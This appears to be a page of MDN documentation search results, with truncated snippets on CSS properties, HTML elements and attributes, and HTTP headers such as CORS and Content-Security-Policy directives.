formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-left' in that specification.
... candidate recommendation initial definition ...
scroll-padding-right - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-right' in that specification.
... candidate recommendation initial definition ...
scroll-padding-top - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-top' in that specification.
... candidate recommendation initial definition ...
scroll-padding - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,4}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding' in that specification.
... candidate recommendation initial definition ...
scroll-snap-align - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none | start | end | center ]{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-align' in that specification.
... candidate recommendation initial definition ...
scroll-snap-stop - CSS: Cascading Style Sheets
rtl</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> result specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-stop' in that specification.
... candidate recommendation initial definition ...
scroll-snap-type - CSS: Cascading Style Sheets
er > div { line-height: 256px; font-size: 128px; width: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { background-color: #87ea87; } .container > div:nth-child(odd) { background-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
... candidate recommendation initial definition ...
shape-outside - CSS: Cascading Style Sheets
0 100%); clip-path: polygon(0 0, 100% 100%, 0 100%); } .right { -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%); shape-outside: polygon(100% 0, 100% 100%, 0 100%); float: right; -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%); clip-path: polygon(100% 0, 100% 100%, 0 100%); } p { text-align: center; } result specifications specification status comment css shapes module level 1the definition of 'shape-outside' in that specification.
... candidate recommendation initial definition.
Specified value - CSS: Cascading Style Sheets
however, the border is not an inheriting property.</p> </div> css .fun { border: 1px dotted pink; font-family: fantasy; } p { color: green; } result specifications specification status comment css level 2 (revision 2)the definition of 'cascaded value' in that specification.
... recommendation initial definition.
symbols() - CSS: Cascading Style Sheets
WebCSSsymbols
examples html <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ol> css ol { list-style: symbols(cyclic "*" "†" "‡"); } result specifications specification status comment css counter styles level 3the definition of 'symbols()' in that specification.
... candidate recommendation initial defintion.
table-layout - CSS: Cascading Style Sheets
td></tr> <tr><td>albert</td><td>schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } result specifications specification status comment css level 2 (revision 1)the definition of 'table-layout' in that specification.
... recommendation initial definition.
text-decoration-color - CSS: Cascading Style Sheets
= <number> | <percentage><hue> = <number> | <angle> examples <p>this paragraph has <s>some erroneous text</s> inside it that i want to call attention to.</p> p { text-decoration-line: underline; text-decoration-color: cyan; } s { text-decoration-line: line-through; text-decoration-color: red; text-decoration-style: wavy; } specifications specification status comment css text decoration module level 3the definition of 'text-decoration-color' in that specification.
... candidate recommendation initial definition.
text-decoration-line - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ underline | overline | line-through | blink ] | spelling-error | grammar-error examples <p class="wavy">here's some text with wavy red underline!</p> <p class="both">this text has lines both above and below it.</p> .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } .both { text-decoration-line: underline overline; } specifications specification status comment css text decora...
... candidate recommendation initial definition.
text-decoration-style - CSS: Cascading Style Sheets
decoration-color: red; -webkit-text-decoration-line: underline; -webkit-text-decoration-style: wavy; -webkit-text-decoration-color: red; } css .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } html <p class="wavy">this text has a wavy red line beneath it.</p> results specifications specification status comment css text decoration module level 3the definition of 'text-decoration-style' in that specification.
... candidate recommendation initial definition.
text-emphasis-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>this has emphasis marks!</em> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-emphasis-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ [ filled | open ] | [ dot | circle | double-circle | triangle | sesame ] ] | <string> examples h2 { text-emphasis-style: sesame; } specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-emphasis - CSS: Cascading Style Sheets
css h2 { text-emphasis: triangle #d55; } html <h2>this is important!</h2> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-orientation - CSS: Cascading Style Sheets
n initial valuemixedapplies toall elements, except table row groups, rows, column groups, and columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax mixed | upright | sideways examples html <p>lorem ipsum dolet semper quisquam.</p> css p { writing-mode: vertical-rl; text-orientation: upright; } result specifications specification status comment css writing modes module level 3the definition of 'text-orientation' in that specification.
... proposed recommendation initial definition.
text-overflow - CSS: Cascading Style Sheets
1234567890 specifications specification status comment css overflow module level 4 added the values <string> and fade and the fade() function css overflow module level 3the definition of 'text-overflow' in that specification.
... working draft initial definition a previous version of this interface reached the candidate recommendation status.
text-underline-offset - CSS: Cascading Style Sheets
it is recommended to use em units so the offset scales with the font size.
...only the bottom one is offset.</p> p { text-decoration: underline wavy red; text-underline-offset: 1em; } .twolines { text-decoration-color: purple; text-decoration-line: underline overline; } specifications specification status comment css text decoration module level 4the definition of 'text-underline-offset' in that specification.
text-underline-position - CSS: Cascading Style Sheets
:root { text-underline-position: under; } specifications specification status comment css text decoration module level 3the definition of 'text-underline-position' in that specification.
... candidate recommendation initial definition ...
top - CSS: Cascading Style Sheets
WebCSStop
mation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body { background: beige; } div { position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%; background: gold; border: 1px solid blue; } <div>the size of this content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
... recommendation initial definition.
rotate3d() - CSS: Cascading Style Sheets
note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative.
...e3d(0, 1, 0, 60deg); background-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotate3d()' in that specification.
rotateX() - CSS: Cascading Style Sheets
note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative.
... 1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
rotateY() - CSS: Cascading Style Sheets
note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative.
... cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
note: unlike rotations in the 2d plane, the composition of 3d rotations is usually not commutative.
... cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatez(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
scale() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 sx0 0sy sx000sy0001 sx000sy0001 sx0000sy0000100001 [sx 0 0 sy 0 0] accessibility concerns scaling/zooming animations are problematic for accessibility, as they are a common trigger for certain types of migraine.
...lt scaling x and y dimensions separately, and translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scale(2, 0.5); /* equal to scalex(2) scaley(0.5) */ transform-origin: left; background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scale()' in that specification.
scaleX() - CSS: Cascading Style Sheets
scalex(-1) defines an axial symmetry, with a vertical axis passing through the origin (as specified by the transform-origin property).
...inates on ℝℙ3 s0 01 s00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scalex(0.6); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scalex()' in that specification.
scaleY() - CSS: Cascading Style Sheets
scaley(-1) defines an axial symmetry, with a horizontal axis passing through the origin (as specified by the transform-origin property).
...rdinates on ℝℙ3 10 0s 1000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scaley(0.6); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scaley()' in that specification.
scaleZ() - CSS: Cascading Style Sheets
scalez(-1) defines an axial symmetry, with the z-axis passing through the origin (as specified by the transform-origin property).
...olor: skyblue; } .perspective { /* includes a perspective to create a 3d space */ transform: perspective(400px) translatez(-100px); background-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(400px) scalez(2) translatez(-100px); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'scalez()' in that specification.
transform - CSS: Cascading Style Sheets
WebCSStransform
accessibility concerns scaling/zooming animations are problematic for accessibility, as they are a common trigger for certain types of migraine.
... specifications specification status comment css transforms level 2the definition of 'transform' in that specification.
transition - CSS: Cascading Style Sheets
duration | timing function | delay */ transition: margin-right 4s ease-in-out 1s; /* apply to 2 properties */ transition: margin-right 4s, color 1s; /* apply to all changed properties */ transition: all 0.5s ease-out; /* global values */ transition: inherit; transition: initial; transition: unset; the transition property is specified as one or more single-property transitions, separated by commas.
... specifications specification status comment css transitionsthe definition of 'transition' in that specification.
Used value - CSS: Cascading Style Sheets
ayout, so they have a different computed value and used value: (taken from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that specification.
... recommendation initial definition.
z-index - CSS: Cascading Style Sheets
WebCSSz-index
ition: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */ background: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */ background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (revision 1)the definition of 'z-index' in that specification.
... recommendation initial definition ...
set:has-same-node() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes set:has-same-node() determines whether two node-sets have any nodes in common.
... returns true if the two node-sets have any nodes in common; otherwise false.
Adding captions and subtitles to HTML5 video - Developer guides
captions versus subtitles captions and subtitles are not the same thing: they have significantly different audiences, and convey different information, and it is recommended that you read up on the differences if you are not sure what they are.
... modifications to the html and css this section summarises the modifications made to the previous article's code in order to facilitate the addition of subtitles to the video.
Creating and triggering events - Developer guides
such events are commonly called synthetic events, as opposed to the events fired by the browser itself.
...eate and dispatch/trigger an event on the fly // note: optionally, we've also leveraged the "function expression" (instead of the "arrow function expression") so "this" will represent the element this.dispatchevent(new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } })) }); triggering built-in events this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods.
Orientation and motion data explained - Developer guides
summary when using orientation and motion events, it's important to understand what the values you're given by the browser mean.
... gamma rotation around the y axis -- that is, tilting the device toward the left or right -- causes the gamma rotation angle to change: the gamma angle is 0° when the device's left and right sides are the same distance from the surface of the earth, and increases toward 90° as the device is tipped toward the right, and toward -90° as the device is tipped toward the left.
Constraint validation - Developer guides
typemismatch constraint violation for both of these input types, if the multiple attribute is set, several values can be set, as a comma-separated list, for this input.
... limiting the size of a file before its upload another common constraint is to limit the size of a file to be uploaded.
Introduction to HTML5 - Developer guides
also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts.
...keep in mind that it's still highly recommended that one writes valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.
Printing - Developer guides
there may be other cases in which you want to manage the printing process, but these are some of the most common scenarios.
... examples here are some common examples.
Developer guides
the html specification recommends the use of the utf-8 encoding (which can represent all of unicode), and regardless of the encoding used requires web content to declare that encoding.
...this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
"cc-exp" a payment method expiration date, typically in the form "mm/yy" or "mm/yyyy".
... specifications specification status comment html living standard living standard ...
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
specifications specification status comment html living standardthe definition of 'step attribute' in that specification.
... recommendation accessibility concerns provide instructions to help users understand how to complete the form and use individual form controls.
Date and time formats used in HTML - HTML: Hypertext Markup Language
for <input>, the values of type that return a value which contains a string representing a date and/or time are: date datetime datetime-local month time week examples before getting into the intricacies of how date and time strings are written and parsed in html, here are some examples that should give you a good idea what the more commonly-used date and time string formats look like.
... the time zone string is appended immediately following the time in the date and time string.
<aside>: The Aside element - HTML: Hypertext Markup Language
WebHTMLElementaside
</p> </article> specifications specification status comment html living standardthe definition of '<aside>' in that specification.
... recommendation ...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
example output is properly ordered: <ul> <li><bdi class="name">اَلأَعْشَى</bdi> - 1st place</li> <li><bdi class="name">jerry cruncher</bdi> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } specifications specification status comment html living standardthe definition of '<bdi>' in that specification.
... recommendation ...
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
<p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification.
... recommendation initial definition.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
lectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html living standardthe definition of '<dialog>' in that specification.
... recommendation initial definition ...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
WebHTMLElementembed
specifications specification status comment html living standardthe definition of '<embed>' in that specification.
... recommendation ...
<figcaption>: The Figure Caption element - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of '<figcaption>' in that specification.
... recommendation ...
<font> - HTML: Hypertext Markup Language
WebHTMLElementfont
summary the html font element (<font>) defines the font size, color and face for its content.
... face this attribute contains a comma-separated list of one or more font names.
<footer> - HTML: Hypertext Markup Language
WebHTMLElementfooter
webkit bugzilla: 146930 – ax: html native elements (header, footer, main, aside, nav) should work the same as aria landmarks, sometimes they don't specifications specification status comment html living standardthe definition of '<footer>' in that specification.
... recommendation ...
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
er <article> <header> <h2>the planet earth</h2> <p>posted on wednesday, <time datetime="2017-10-04">4 october 2017</time> by jane smith</p> </header> <p>we live on a planet that's blue and green, with so many things still unseen.</p> <p><a href="https://janesmith.com/the-planet-earth/">continue reading....</a></p> </article> specifications specification status comment html living standardthe definition of '<header>' in that specification.
... recommendation ...
manifest - HTML: Hypertext Markup Language
WebHTMLElementhtmlmanifest
specifications specification status comment html5the definition of '<html> manifest attribute' in that specification.
... recommendation added support for the manifest attribute and deprecated it later ...
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal format.
... result the final result looks like this: specifications specification status comment html living standard living standard initial definition html5 recommendation initial definition ...
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="reset"> element's value attribute contains a domstring that is used as the button's label.
... recommendation ...
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<mark>' in that specification.
... recommendation ...
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of '<marquee>' in that specification.
... recommendation make it obsolete in favor of css but define its expected behavior, for backward compatibility.
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
WebHTMLElementmeter
html <p>he got a <meter low="69" high="80" max="100" value="84">b</meter> on the exam.</p> result on google chrome, the resulting meter looks like this: specifications specification status comment html living standardthe definition of '<meter>' in that specification.
... recommendation initial definition ...
<output>: The Output element - HTML: Hypertext Markup Language
WebHTMLElementoutput
specifications specification status comment html living standardthe definition of '<output>' in that specification.
... recommendation ...
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
WebHTMLElementprogress
examples <progress value="70" max="100">70 %</progress> result on windows 7, the resulting progress looks like this: specifications specification status comment html living standardthe definition of '<progress>' in that specification.
... recommendation initial definition ...
<ruby> - HTML: Hypertext Markup Language
WebHTMLElementruby
examples example 1: character <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> example 2: word <ruby> 明日 <rp>(</rp><rt>ashita</rt><rp>)</rp> </ruby> specifications specification status comment html living standardthe definition of '<ruby>' in that specification.
... recommendation ...
<s> - HTML: Hypertext Markup Language
WebHTMLElements
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of 's element' in that specification.
... recommendation ...
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
ial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0; background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <code class="name">&lt;<slot name="element-name">need name</slot>&gt;</code> <i class="desc"><slot name="description">need description</slot></i> </summary> <div class="attributes"> <h4>attributes</h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr> </template> note: you can see this complete example in action at element-details (see...
... specifications specification status comments html living standardthe definition of '<slot>' in that specification.
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
tbody > tr > th { background-color: #dde; border-bottom: 1.5px solid #bbb; font-weight: normal; } specifications specification status comment html living standardthe definition of 'tbody element' in that specification.
... recommendation ...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
</video> specifications specification status comment html living standardthe definition of 'track element' in that specification.
... recommendation initial definition ...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
WebHTMLElementul
--> <ol> <li>second item first subitem</li> <li>second item second subitem</li> <li>second item third subitem</li> </ol> <!-- here is the closing </li> tag --> </li> <li>third item</li> </ul> the above html will output: specifications specification status comment html living standardthe definition of '<ul>' in that specification.
... recommendation ...
contextmenu - HTML: Hypertext Markup Language
"fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
... recommendation snapshot of html living standard, initial definition.
dropzone - HTML: Hypertext Markup Language
specifications specification status comment html 5.1the definition of 'dropzone' in that specification.
... recommendation snapshot of html living standard, initial definition ...
hidden - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'hidden' in that specification.
... recommendation snapshot of html living standard, initial definition ...
is - HTML: Hypertext Markup Language
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor contents ommitted for brevity ...
... } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification.
spellcheck - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'spellcheck' in that specification.
... recommendation snapshot of html living standard, initial definition ...
translate - HTML: Hypertext Markup Language
<footer> <small>© 2020 <span translate="no">brandname</span></small> </footer> specifications specification status comment html living standardthe definition of 'translate' in that specification.
... recommendation snapshot of html living standard, initial definition ...
Microdata - HTML: Hypertext Markup Language
a collection of commonly used markup vocabularies are provided by schema.org.
... commonly used vocabularies: creative works: creativework, book, movie, musicrecording, recipe, tvseries embedded non-text objects: audioobject, imageobject, videoobject event health and medical types: notes on the health and medical types under medicalentity organization person place, localbusiness, restaurant product, offer, aggregateoffer review, aggregaterating action thing intangible major search engine operators like google, microsoft, and yahoo!
HTML reference - HTML: Hypertext Markup Language
global attributes global attributes are attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements.
... content categories every html element is a member of one or more content categories — these categories group elements that share common characteristics.
HTML: Hypertext Markup Language
WebHTML
this module covers basic table markup, along with more complex features such as implementing captions and summaries.
... use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
Identifying resources on the Web - HTTP
urls and urns urls the most common form of uri is the uniform resource locator (url), which is known as the web address.
...common schemes are: scheme description data data uris file host-specific file names ftp file transfer protocol http/https hyper text transfer protocol (secure) javascript url-embedded javascript code mailto electronic mail address ssh secure shell tel telephone urn uniform reso...
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file.
... header set access-control-allow-origin 'origin-list' for nginx, the command to set up this header is: add_header 'access-control-allow-origin' 'origin-list' ...
Content Security Policy (CSP) - HTTP
WebHTTPCSP
examples: common use cases this section provides examples of some common security policy scenarios.
...in summary, this is done to prevent leaking sensitive information about cross-origin resources.
Accept-Encoding - HTTP
two common cases lead to this: the data to be sent is already compressed and a second compression won't lead to smaller data to be transmitted.
...typically, microsoft recommends not to compress if a server uses more than 80% of its computational power.
Access-Control-Allow-Headers - HTTP
the header may list any number of headers, separated by commas.
... specifications specification status comment fetchthe definition of 'access-control-allow-headers' in that specification.
Access-Control-Allow-Methods - HTTP
access-control-allow-methods: * directives <method> comma-delimited list of the allowed http request methods.
... examples access-control-allow-methods: post, get, options access-control-allow-methods: * specifications specification status comment fetchthe definition of 'access-control-allow-methods' in that specification.
Access-Control-Request-Headers - HTTP
directives <header-name> a comma-delimited list of http headers that are included in the request.
... examples access-control-request-headers: x-pingother, content-type specifications specification status comment fetchthe definition of 'access-control-request-headers' in that specification.
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
multiple entries can be specified in a single alt-svc header using comma as separator.
... example alt-svc: h2=":443"; ma=2592000; alt-svc: h2=":443"; ma=2592000; persist=1 alt-svc: h2="alt.example.com:443", h2=":443" alt-svc: h3-25=":443"; ma=3600, h2=":443"; ma=3600 specifications specification status comment rfc 7838 ietf rfc initial definition.
Content-Encoding - HTTP
the recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed.
...the http/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes.
Content-Language - HTTP
syntax content-language: de-de content-language: en-us content-language: de-de, en-ca directives language-tag multiple language tags are separated by comma.
...in most cases, a language tag consists of a primary language subtag that identifies a broad family of related languages (e.g., "en" = english), which is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of english as communicated in canada).
CSP: block-all-mixed-content - HTTP
for example, to disallow nonsecure http images: content-security-policy: img-src https: specifications specification status comment mixed contentthe definition of 'block-all-mixed-content' in that specification.
... candidate recommendation initial definition.
CSP: manifest-src - HTTP
you can also specify data schemas (not recommended).
... examples violation cases given this csp header: content-security-policy: manifest-src https://example.com/ the following <link> is blocked and won't load: <link rel="manifest" href="https://not-example.com/manifest"> specifications specification status comment content security policy level 3the definition of 'manifest-src' in that specification.
CSP: navigate-to - HTTP
you can also specify data schemes (not recommended).
... <meta http-equiv="content-security-policy" content="navigate-to 'none'"> <form action="javascript:alert('foo')" id="form1" method="post"> <input type="text" name="fieldname" value="fieldvalue"> <input type="submit" id="submit" value="submit"> </form> specifications specification status comment content security policy level 3the definition of 'navigate-to' in that specification.
CSP: plugin-types - HTTP
content-security-policy: plugin-types application/x-shockwave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet: content-security-policy: plugin-types application/x-java-applet specifications specification status comment content security policy level 3the definition of 'plugin-types' in that specification.
... recommendation initial definition.
CSP: prefetch-src - HTTP
you can also specify data schemes (not recommended).
...page with the following content security policy: content-security-policy: prefetch-src https://example.com/ fetches for the following code will return network errors, as the urls provided do not match prefetch-src's source list: <link rel="prefetch" src="https://example.org/"></link> <link rel="prerender" src="https://example.org/"></link> specification specification status comment content security policy level 3the definition of 'prefetch-src' in that specification.
CSP: report-uri - HTTP
$log_file; mail($email_address, $email_subject, $message, 'content-type: text/plain;charset=utf-8'); } else if (filesize($log_file) > $log_file_size_limit) { exit(0); } file_put_contents($log_file, $json_data, file_append | lock_ex); } specifications specification status comment content security policy level 3the definition of 'report-uri' in that specification.
... recommendation initial definition.
CSP: sandbox - HTTP
examples content-security-policy: sandbox allow-scripts; specifications specification status comment content security policy level 3the definition of 'sandbox' in that specification.
... recommendation initial definition.
CSP: script-src-attr - HTTP
you can also specify data schemes (not recommended).
... specifications specification status comment content security policy level 3the definition of 'script-src-attr' in that specification.
CSP: script-src-elem - HTTP
you can also specify data schemes (not recommended).
... specifications specification status comment content security policy level 3the definition of 'script-src-elem' in that specification.
CSP: style-src-attr - HTTP
you can also specify data schemes (not recommended).
... examples todo: add examples specifications specification status comment content security policy level 3the definition of 'style-src-attr' in that specification.
CSP: style-src-elem - HTTP
you can also specify data schemes (not recommended).
... examples todo: add examples specifications specification status comment content security policy level 3the definition of 'style-src-elem' in that specification.
CSP: worker-src - HTTP
you can also specify data schemas (not recommended).
... content-security-policy: worker-src https://example.com/ worker, sharedworker, serviceworker are blocked and won't load: <script> var blockedworker = new worker("data:application/javascript,..."); blockedworker = new sharedworker("https://not-example.com/"); navigator.serviceworker.register('https://not-example.com/sw.js'); </script> specifications specification status comment content security policy level 3the definition of 'worker-src' in that specification.
Content-Security-Policy-Report-Only - HTTP
specifications specification status comment content security policy level 3 working draft no changes.
... content security policy level 2 recommendation initial definition.
Expect - HTTP
WebHTTPHeadersExpect
the only expectation defined in the specification is expect: 100-continue, to which the server shall respond with: 100 if the information contained in the header is sufficient to cause an immediate success, 417 (expectation failed) if it cannot meet the expectation; or any other 4xx status otherwise.
... no common browsers send the expect header, but some other clients such as curl do so by default.
Feature-Policy: accelerometer - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... candidate recommendation ...
Feature-Policy: battery - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... candidate recommendation ...
Feature-Policy: encrypted-media - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... recommendation ...
Feature-Policy: wake-lock - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... wake lock api 1 candidate recommendation initial definition of wake-lock feature directive.
Large-Allocation - HTTP
